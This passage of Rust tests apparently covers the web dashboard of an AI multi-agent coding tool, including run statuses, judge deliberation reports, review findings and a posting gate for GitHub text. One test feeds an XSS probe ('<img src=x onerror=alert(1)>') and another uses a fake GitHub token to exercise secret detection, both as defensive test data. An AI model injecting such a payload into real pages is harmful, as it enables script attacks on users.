19512 assert_eq!(rows[0].badge_status, rows[0].display_status);
19514 by.insert(id, "20260901-000000-913b".to_owned());
19515 let detail = RunDetailView::of(
19516 state.clone(),
19517 false,
19518 Dead,
19519 Some("913b".to_owned()),
19520 None,
19521 None,
19522 );
19523 assert_eq!(detail.badge_status, "superseded");
19524 let json = serde_json::to_value(&detail).unwrap();
19525 assert_eq!(json["badge_status"], "superseded");
19526 let detail = RunDetailView::of(state, false, Dead, None, None, None);
19527 assert_eq!(detail.badge_status, "stale");
19528 }
19529
19530 #[tokio::test]
19531 async fn run_display_status_routes_share_the_open_question_store() {
19532 let f = Fixture::start().await;
19533 let id = "20260922-090200-abcd";
19534 write_run(&f.runs(), id, RunStatus::Judging);
19535 let mut state = read_run(&f.runs(), id).unwrap();
19536 state.parked = true;
19537 state.driver_exited = true;
19538 state.event("github-text", "waiting for the owner");
19539 state.save_under(f.home.path()).unwrap();
19540 let mut task = Task::new(
19541 "resumed task".to_owned(),
19542 "do it".to_owned(),
19543 PathBuf::from("/repo"),
19544 Source::Human,
19545 );
19546 task.runs = vec![id.to_owned(), id.to_owned()];
19547 f.queue().put(&mut task).unwrap();
19548 let store = f.questions();
19549 let mut q = Question::new(
19550 id.to_owned(),
19551 "github-text".to_owned(),
19552 "owner".to_owned(),
19553 "Approve the text?".to_owned(),
19554 String::new(),
19555 Vec::new(),
19556 );
19557 store.put(&mut q).unwrap();
19558 for expected in ["waiting", "parked"] {
19559 let list = f.get("/api/runs").await.json();
19560 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19561 assert_eq!(list[0]["display_status"], expected);
19562 assert_eq!(detail["display_status"], expected);
19563 assert_eq!(detail["waiting"], list[0]["waiting"]);
19564 assert_eq!(list[0]["badge_status"], expected);
19565 assert_eq!(detail["badge_status"], expected);
19566 assert!(list[0]["superseded_by"].is_null());
19567 assert!(detail["superseded_by"].is_null());
19568 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
19569 let history = task_detail["history"].as_array().unwrap();
19570 assert_eq!(history.len(), 2);
19571 assert!(history[0]["badge"].is_null());
19572 assert_eq!(history[1]["badge"], expected);
19573 q.status = ask::QuestionStatus::Answered;
19574 store.put(&mut q).unwrap();
19575 }
19576 }
19577
19578 #[tokio::test]
19579 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
19580 let f = Fixture::start().await;
19581 let id = "20260922-090200-abcd";
19582 write_run(&f.runs(), id, RunStatus::Judging);
19583 let mut state = read_run(&f.runs(), id).unwrap();
19584 state.parked = true;
19585 state.driver_exited = true;
19586 state.event("park", "stopped at a node boundary");
19587 state.save_under(f.home.path()).unwrap();
19588
19589 for expected in ["parked", "stale"] {
19590 let list = f.get("/api/runs").await.json();
19591 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19592 assert_eq!(list[0]["live"], "dead");
19593 assert_eq!(list[0]["display_status"], expected);
19594 assert_eq!(detail["display_status"], expected);
19595 state.parked = false;
19598 state.save_under(f.home.path()).unwrap();
19599 }
19600 }
19601
19602 #[tokio::test]
19603 async fn the_run_list_is_newest_first_and_honours_a_limit() {
19604 let f = Fixture::start().await;
19605 for id in [
19606 "20260902-140501-aaaa",
19607 "20260902-140502-bbbb",
19608 "20260902-140503-cccc",
19609 ] {
19610 write_run(&f.runs(), id, RunStatus::Merged);
19611 }
19612
19613 let all = f.get("/api/runs").await.json();
19614 let capped = f.get("/api/runs?limit=2").await.json();
19615
19616 assert_eq!(all[0]["id"], "20260902-140503-cccc");
19617 assert_eq!(all.as_array().map(Vec::len), Some(3));
19618 assert_eq!(capped.as_array().map(Vec::len), Some(2));
19619 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
19620 }
19621
19622 #[tokio::test]
19623 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
19624 let f = Fixture::start().await;
19625 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
19626
19627 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
19628
19629 assert_eq!(res.status, 200);
19630 assert!(
19631 res.headers
19632 .contains("content-type: text/plain; charset=utf-8"),
19633 "a browser must render it, not download it: {}",
19634 res.headers
19635 );
19636 assert!(
19640 res.body.contains("20260902-140501-a1b2"),
19641 "the report is about the run that was asked for: {}",
19642 res.body
19643 );
19644 }
19645
19646 #[tokio::test]
19647 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
19648 crate::run::pin_test_home();
19650 let f = Fixture::start().await;
19651 let id = "20260902-140501-a1b2";
19652 write_run(&f.runs(), id, RunStatus::Stalled);
19653 let path = f.runs().join(id).join("run.json");
19656 let mut v: serde_json::Value =
19657 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19658 v["tally"] = serde_json::json!({
19659 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19660 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
19661 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
19662 "met_quorum": false, "rankings": 1
19663 });
19664 v["reviews"] = serde_json::json!([{
19665 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
19666 "e2e_deferred": true,
19667 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
19668 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
19669 ]}]
19670 }]);
19671 std::fs::write(&path, v.to_string()).unwrap();
19672 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
19673 std::fs::write(
19674 f.runs().join("20260902-140502-dead").join("run.json"),
19675 "{not json",
19676 )
19677 .unwrap();
19678
19679 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19680
19681 assert_eq!(res.status, 200, "{}", res.body);
19682 assert!(res.headers.contains("content-type: application/json"));
19683 let j = res.json();
19684 assert_eq!(j["schema"], 1);
19685 assert_eq!(j["header"]["id"], id);
19686 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19687 let kinds: Vec<&str> = j["sections"]
19688 .as_array()
19689 .unwrap()
19690 .iter()
19691 .map(|s| s["kind"].as_str().unwrap())
19692 .collect();
19693 assert_eq!(kinds, ["candidates", "tally", "review"]);
19694 let tally = &j["sections"][1]["tally"];
19695 assert_eq!(
19696 (tally["decided"].clone(), tally["provisional"].clone()),
19697 (false.into(), true.into())
19698 );
19699 let round = &j["sections"][2]["rounds"][0];
19700 assert_eq!(round["e2e"]["state"], "deferred");
19701 assert_eq!(round["findings"][0]["severity"], "major");
19702 assert_eq!(round["findings"][0]["blocking"], true);
19703 assert_eq!(round["findings"][0]["state"], "open");
19704
19705 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19707
19708 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19710 assert_ne!(bad.status, 200, "{}", bad.body);
19711 assert_eq!(
19712 bad.status,
19713 f.get("/api/runs/20260902-140502-dead/report").await.status
19714 );
19715 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19716 assert_eq!(
19717 f.get("/api/runs/20260902-999999-ffff/report.json")
19718 .await
19719 .status,
19720 404
19721 );
19722 }
19723
19724 #[tokio::test]
19725 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19726 crate::run::pin_test_home();
19727 let f = Fixture::start().await;
19728 let id = "20260902-140503-delib";
19729 write_run(&f.runs(), id, RunStatus::Merged);
19730 let path = f.runs().join(id).join("run.json");
19731 let mut v: serde_json::Value =
19732 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19733 v["judgements"] = serde_json::json!([
19734 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19735 ]);
19736 v["tally"] = serde_json::json!({
19737 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19738 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19739 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19740 "met_quorum": true, "rankings": 1
19741 });
19742 v["deliberation"] = serde_json::json!([
19743 {
19744 "round": 1,
19745 "turns": [
19746 {
19747 "judge": 1,
19748 "agent": "judge-1",
19749 "body": "I prefer candidate **A** because it has cleaner tests.",
19750 "tentative": "A"
19751 }
19752 ]
19753 },
19754 {
19755 "round": 2,
19756 "turns": [
19757 {
19758 "judge": 1,
19759 "agent": "judge-1",
19760 "body": "Still thinking, no choice yet.",
19761 "tentative": null
19762 }
19763 ]
19764 }
19765 ]);
19766 std::fs::write(&path, v.to_string()).unwrap();
19767
19768 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19769 assert_eq!(res.status, 200, "{}", res.body);
19770 let j = res.json();
19771 let judging = j["sections"]
19772 .as_array()
19773 .unwrap()
19774 .iter()
19775 .find(|s| s["kind"] == "judging")
19776 .expect("judging section exists");
19777
19778 let delib_lines = judging["deliberation"].as_array().unwrap();
19780 assert_eq!(delib_lines.len(), 2);
19781 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19782 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19783
19784 let rounds = judging["rounds"].as_array().unwrap();
19786 assert_eq!(rounds.len(), 2);
19787 let r1_t0 = &rounds[0]["turns"][0];
19788 assert_eq!(r1_t0["judge"], 1);
19789 assert_eq!(r1_t0["agent"], "judge-1");
19790 assert_eq!(r1_t0["tentative"], "A");
19791 assert_eq!(
19792 r1_t0["body"],
19793 "I prefer candidate **A** because it has cleaner tests."
19794 );
19795 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19796
19797 let r2_t0 = &rounds[1]["turns"][0];
19798 assert_eq!(r2_t0["judge"], 1);
19799 assert_eq!(r2_t0["agent"], "judge-1");
19800 assert!(r2_t0["tentative"].is_null());
19801 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19802 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19803
19804 let id_empty = "20260902-140504-nodelib";
19806 write_run(&f.runs(), id_empty, RunStatus::Merged);
19807 let path_empty = f.runs().join(id_empty).join("run.json");
19808 let mut v_empty: serde_json::Value =
19809 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19810 v_empty["judgements"] = serde_json::json!([
19811 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19812 ]);
19813 v_empty["deliberation"] = serde_json::json!([]);
19814 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19815
19816 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19817 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19818 let j_empty = res_empty.json();
19819 let judging_empty = j_empty["sections"]
19820 .as_array()
19821 .unwrap()
19822 .iter()
19823 .find(|s| s["kind"] == "judging")
19824 .expect("judging section exists");
19825 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19826 }
19827
19828 #[tokio::test]
19829 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19830 let f = Fixture::start().await;
19831
19832 let html = f.get("/").await;
19833 let css = f.get("/app.css").await;
19834 let js = f.get("/app.js").await;
19835
19836 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19837 assert!(
19838 html.headers
19839 .contains("content-type: text/html; charset=utf-8")
19840 );
19841 assert!(css.headers.contains("content-type: text/css"));
19842 assert!(js.headers.contains("content-type: text/javascript"));
19843 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19844 }
19845
19846 #[test]
19847 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19848 let body = |name: &str| {
19849 let at = APP_JS
19850 .find(name)
19851 .unwrap_or_else(|| panic!("{name} missing"));
19852 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19853 };
19854 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19855 let note = body("function landRoundNote");
19856 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19857 assert!(note.contains("Land round ${round}"));
19858 let land = body("function renderLand");
19859 let note_at = land
19860 .find("landRoundNote(pr)")
19861 .expect("renderLand uses the note");
19862 assert!(
19863 note_at
19864 < land
19865 .find("roundRail(pr)")
19866 .expect("renderLand uses the rail")
19867 );
19868 }
19869
19870 #[test]
19871 fn the_runs_page_redesign_keeps_its_guards() {
19872 let body = |name: &str| {
19873 let at = APP_JS
19874 .find(name)
19875 .unwrap_or_else(|| panic!("{name} missing"));
19876 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19877 };
19878 let land = body("function renderLand");
19880 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19881 assert!(
19882 !land.contains("box.append("),
19883 "renderLand must use append()"
19884 );
19885 assert!(land.contains("append(box, ["));
19886 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19888 assert!(
19889 body("function applyRoute")
19890 .contains("route.name !== state.route.name || route.id !== state.route.id")
19891 );
19892 assert!(!APP_JS.contains("adviseConvergeDiagram"));
19894 assert!(!INDEX_HTML.contains("advise-converge"));
19895 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19896 assert!(APP_JS.contains("provisional"));
19897 for id in [
19898 "run-tab-overview",
19899 "run-tab-timeline",
19900 "run-tab-report",
19901 "run-report",
19902 "runs-scope",
19903 ] {
19904 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19905 }
19906 assert!(!INDEX_HTML.contains("runs-tree"));
19907 assert!(!INDEX_HTML.contains("run-raw-panel"));
19908 assert!(APP_JS.contains("resume"));
19910 assert!(APP_JS.contains("unreadable"));
19912 }
19913
19914 #[test]
19915 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19916 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19917 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19918 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
19919 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19920 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19921 assert!(APP_JS.contains("unreadable` : null"));
19923 }
19924
19925 #[test]
19926 fn blocked_run_detail_exposes_the_failed_gate_reason() {
19927 let mut state = RunState::new(
19928 "/repo".into(),
19929 "main".into(),
19930 "abc".into(),
19931 "task".into(),
19932 crate::config::Config::default(),
19933 );
19934 state.status = RunStatus::Blocked;
19935 state.gate_ran = true;
19936 state.gate.push(crate::run::CommandOutcome {
19937 command: "cargo make check".into(),
19938 code: Some(1),
19939 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19940 duration_ms: 0,
19941 resource_blocked: false,
19942 });
19943 let view = RunDetailView::of(
19944 state,
19945 false,
19946 crate::run::Liveness::Unknown,
19947 None,
19948 None,
19949 None,
19950 );
19951 let value = serde_json::to_value(view).unwrap();
19952 assert_eq!(
19953 value["stop_reason"],
19954 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19955 );
19956 }
19957
19958 #[test]
19959 fn the_run_detail_payload_says_whether_the_run_is_done() {
19960 for (status, done) in [
19962 (RunStatus::Superseded, true),
19963 (RunStatus::Blocked, true),
19964 (RunStatus::Landing, false),
19965 ] {
19966 let mut state = RunState::new(
19967 std::path::PathBuf::from("/repo"),
19968 "main".to_owned(),
19969 "abc".to_owned(),
19970 "x".to_owned(),
19971 crate::config::Config::default(),
19972 );
19973 state.status = status;
19974 let v = serde_json::to_value(RunDetailView::of(
19975 state,
19976 false,
19977 crate::run::Liveness::Unknown,
19978 None,
19979 None,
19980 None,
19981 ))
19982 .unwrap();
19983 assert_eq!(v["done"], done, "{status:?}");
19984 }
19985 }
19986
19987 fn has_strong(nodes: &[md::Node]) -> bool {
19989 serde_json::to_string(nodes).unwrap().contains("strong")
19990 }
19991
19992 #[test]
19993 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19994 let mut state = RunState::new(
19995 std::path::PathBuf::from("/repo"),
19996 "main".to_owned(),
19997 "abc".to_owned(),
19998 "x".to_owned(),
19999 crate::config::Config::default(),
20000 );
20001 let proposal = |approach: &str| {
20002 serde_json::json!({
20003 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
20004 })
20005 };
20006 state.advice = Some(
20007 serde_json::from_value(serde_json::json!({
20008 "records": [
20009 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
20010 "proposal": proposal("do **this**")},
20011 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
20012 ],
20013 "synthesis": "- one\n- **two**\n\n`code`",
20014 }))
20015 .unwrap(),
20016 );
20017 state.candidates = serde_json::from_value(serde_json::json!([
20018 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
20019 "summary": "did **it**"},
20020 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
20021 ]))
20022 .unwrap();
20023 state.reviews = serde_json::from_value(serde_json::json!([{
20026 "round": 1, "head": "h",
20027 "reviews": [{
20028 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
20029 "findings": [
20030 {"severity": "nit", "title": "t1", "detail": "plain nit"},
20031 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
20032 ],
20033 }],
20034 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
20035 "fix": {"agent": "a", "notes": "fixed **it**",
20036 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
20037 }, {"round": 2, "head": "h2", "reviews": []}]))
20038 .unwrap();
20039
20040 let v = serde_json::to_value(RunDetailView::of(
20041 state,
20042 false,
20043 crate::run::Liveness::Unknown,
20044 None,
20045 None,
20046 None,
20047 ))
20048 .unwrap();
20049
20050 let strong = |p: &str| {
20051 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
20052 assert!(n.to_string().contains("strong"), "{p}: {n}");
20053 };
20054 strong("/advice_md/synthesis");
20055 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
20056 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
20057 strong("/advice_md/approaches/0");
20058 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
20059 strong("/candidate_summaries_md/0");
20060 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
20061 strong("/reviews_md/0/reviewers/0/summary");
20062 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
20063 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
20064 assert!(f[1].to_string().contains("strong"));
20065 strong("/reviews_md/0/reconsideration/0");
20066 strong("/reviews_md/0/fix/notes");
20067 strong("/reviews_md/0/fix/rejected/0");
20068 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
20069 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
20070 assert_eq!(v["candidates"][0]["summary"], "did **it**");
20072 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
20073 }
20074
20075 #[test]
20076 fn a_run_without_advice_has_no_advice_md() {
20077 let state = RunState::new(
20078 std::path::PathBuf::from("/repo"),
20079 "main".to_owned(),
20080 "abc".to_owned(),
20081 "x".to_owned(),
20082 crate::config::Config::default(),
20083 );
20084 let p = run_prose_md(&state);
20085 assert!(p.advice_md.is_none());
20086 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
20087 }
20088
20089 #[test]
20090 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
20091 let store = ask::Questions::at(PathBuf::from("unused"));
20092 let gt = crate::github_text::Withheld {
20093 title: false,
20094 body: true,
20095 categories: vec!["sensitive-data".into()],
20096 };
20097 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
20098 let (detail, comparison) =
20099 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
20100 let mut q = Question::new(
20101 "r".into(),
20102 "github-text".into(),
20103 "posting-gate".into(),
20104 "s".into(),
20105 detail,
20106 Vec::new(),
20107 );
20108 assert!(
20109 QuestionView::of(q.clone(), &store, None)
20110 .posting_view
20111 .is_none()
20112 );
20113 q.posting_comparison = Some(comparison);
20114 let view = QuestionView::of(q.clone(), &store, None);
20115 let field = &view.posting_view.unwrap().fields[0];
20116 assert_eq!(
20117 field
20118 .original
20119 .iter()
20120 .map(|f| f.text.as_str())
20121 .collect::<String>(),
20122 body
20123 );
20124 assert!(field.original[0].text.starts_with("<img"));
20125 let original_question: Question =
20126 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
20127 assert_eq!(original_question, q);
20128 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
20129 .original
20130 .start = 1;
20131 assert!(
20132 QuestionView::of(q.clone(), &store, None)
20133 .posting_view
20134 .is_none()
20135 );
20136 q.posting_comparison = original_question.posting_comparison;
20137 q.detail.push_str("extra context");
20138 assert!(
20139 QuestionView::of(q.clone(), &store, None)
20140 .posting_view
20141 .is_some()
20142 );
20143 q.detail.insert(0, 'x');
20144 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
20145 }
20146
20147 #[test]
20148 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
20149 let store = ask::Questions::at(PathBuf::from("unused"));
20150 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
20151 let gt = crate::github_text::Withheld::from_check(
20152 &crate::github_text::check("fix: x", body),
20153 "fix: x",
20154 body,
20155 )
20156 .unwrap();
20157 let (detail, comparison) =
20158 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
20159 let mut q = Question::new(
20160 "r".into(),
20161 "github-text".into(),
20162 "posting-gate".into(),
20163 "s".into(),
20164 detail,
20165 Vec::new(),
20166 );
20167 q.posting_comparison = Some(comparison);
20168 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
20169 let field = &value["posting_view"]["fields"][0];
20170 let group = &field["replacement_group"];
20171 let triggers = group["triggers"].as_array().unwrap();
20172 assert_eq!(triggers.len(), 2);
20173 assert_ne!(triggers[0], triggers[1]);
20174 for id in triggers {
20175 assert!(
20176 field["original"]
20177 .as_array()
20178 .unwrap()
20179 .iter()
20180 .any(|f| &f["pair"] == id)
20181 );
20182 assert!(
20183 !field["changed"]
20184 .as_array()
20185 .unwrap()
20186 .iter()
20187 .any(|f| &f["pair"] == id)
20188 );
20189 }
20190 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
20191 group["id"].as_u64().unwrap() as usize;
20192 assert!(
20193 QuestionView::of(q, &store, None).posting_view.is_none(),
20194 "group and trigger IDs cannot collide"
20195 );
20196 }
20197
20198 #[test]
20199 fn a_question_view_carries_markdown_for_each_thread_turn() {
20200 let home = TempDir::new().unwrap();
20201 let store = ask::Questions::at(home.path().join("questions"));
20202 let mut q = Question::new(
20203 "run".to_owned(),
20204 "implement".to_owned(),
20205 "impl-A".to_owned(),
20206 "which?".to_owned(),
20207 String::new(),
20208 Vec::new(),
20209 );
20210 q.say("plain words").unwrap();
20211 q.reply("use **this**", Vec::new()).unwrap();
20212 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20213 let bodies = &v["thread_bodies_md"];
20214 assert_eq!(bodies.as_array().unwrap().len(), 2);
20215 assert!(!bodies[0].to_string().contains("strong"));
20216 assert!(bodies[1].to_string().contains("strong"));
20217 }
20218
20219 #[test]
20220 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
20221 let home = TempDir::new().unwrap();
20222 let store = ask::Questions::at(home.path().join("questions"));
20223 let mut q = Question::new(
20224 "run".to_owned(),
20225 "conduct".to_owned(),
20226 "conduct".to_owned(),
20227 "which?".to_owned(),
20228 String::new(),
20229 Vec::new(),
20230 );
20231 q.say("plain words").unwrap();
20232 q.thread.push(ask::Turn {
20233 who: ask::Who::Agent,
20234 body: "Settled as `merge`".to_owned(),
20235 at: jiff::Timestamp::now(),
20236 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
20237 });
20238 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20239 let notes = &v["thread_notes_md"];
20240 assert_eq!(notes.as_array().unwrap().len(), 2);
20241 assert!(notes[0].is_null());
20242 let text = notes[1].to_string();
20243 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
20244 assert!(APP_JS.contains("ask-turn-note"));
20245 }
20246
20247 #[test]
20248 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
20249 assert!(APP_JS.contains("function landView(run, raw) {"));
20253 assert!(
20254 APP_JS.contains(
20255 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
20256 )
20257 );
20258 assert!(APP_JS.contains("const pr = landView(run, raw);"));
20259 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
20260 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
20261 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
20262 }
20263
20264 #[test]
20265 fn live_runs_are_never_hidden_or_folded_as_superseded() {
20266 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
20267 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
20268 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
20269 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
20270 }
20271
20272 #[test]
20273 fn review_rounds_label_a_distinct_verified_head() {
20274 assert!(APP_JS.contains("round.verified_head"));
20275 assert!(APP_JS.contains("verified HEAD"));
20276 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
20277 }
20278
20279 #[test]
20280 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
20281 assert!(APP_JS.contains("blocked: { glyph:"));
20285 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
20286
20287 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
20291 assert!(
20292 APP_JS.contains(
20293 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
20294 ),
20295 "the note line must name what a blocked task is waiting on, not just that it is blocked"
20296 );
20297 assert!(APP_JS.contains("if (status === \"blocked\") {"));
20301
20302 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
20306 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
20307 assert!(
20308 APP_JS.contains("location.hash = \"#/questions\";"),
20309 "a question node must jump to the Questions screen, not pretend to be a task"
20310 );
20311
20312 assert!(APP_JS.contains("Resolved questions"));
20315 assert!(APP_JS.contains("r.answersList.append("));
20316 assert!(APP_CSS.contains(".task-answers"));
20317 {
20318 let start = APP_JS
20319 .find("function updateTalkTaskRow")
20320 .expect("updateTalkTaskRow");
20321 let body = &APP_JS[start..];
20322 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
20323 assert!(
20324 body.contains(
20325 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
20326 ),
20327 "a chat-filed task row must link to the task page"
20328 );
20329 assert!(
20330 !body.contains("#/runs/") && !body.contains("#/queue/"),
20331 "the row must not branch to a run or the queue card"
20332 );
20333 assert!(APP_CSS.contains(".talk-task-link"));
20334 }
20335 }
20336
20337 #[test]
20338 fn a_task_notification_links_to_the_task_page() {
20339 let start = APP_JS
20341 .find("function noticeLink(")
20342 .expect("noticeLink exists");
20343 let body = &APP_JS[start..];
20344 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
20345 assert!(
20346 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
20347 "a task notice's link must target the task page"
20348 );
20349 assert!(
20350 !body.contains("#/queue/"),
20351 "regression: the task link must not go back to the Backlog route"
20352 );
20353 assert!(
20354 APP_JS.contains(
20355 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
20356 ),
20357 "`#/tasks/<id>` must parse into the task route"
20358 );
20359
20360 assert!(
20362 APP_JS.contains(
20363 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
20364 ),
20365 "`#/queue/<id>` must parse into a route carrying that id"
20366 );
20367
20368 assert!(APP_JS.contains("state.queueFocus = route.id;"));
20372 assert!(APP_JS.contains("function consumeQueueFocus()"));
20373 assert!(APP_JS.contains("jumpToTask(id)"));
20374 }
20375
20376 #[test]
20377 fn notifications_distinguish_actionable_questions_from_informational_notices() {
20378 let start = APP_JS
20379 .find("function noticeCoveredBy(")
20380 .expect("noticeCoveredBy exists");
20381 let body = &APP_JS[start..];
20382 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
20383
20384 assert!(body.contains("Associated question ${short}"));
20386 assert!(!body.contains("el(\"a\""));
20387
20388 assert!(body.contains("(resolved)"));
20390 assert!(body.contains("(closed)"));
20391
20392 let start = APP_JS
20393 .find("function renderNotifications()")
20394 .expect("renderNotifications exists");
20395 let body = &APP_JS[start..];
20396 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
20397
20398 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
20400 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
20401 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
20402 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
20403 }
20404
20405 #[test]
20408 fn chat_rows_put_the_title_alone_on_the_first_line() {
20409 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
20410 assert!(APP_CSS.contains(
20411 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
20412 ));
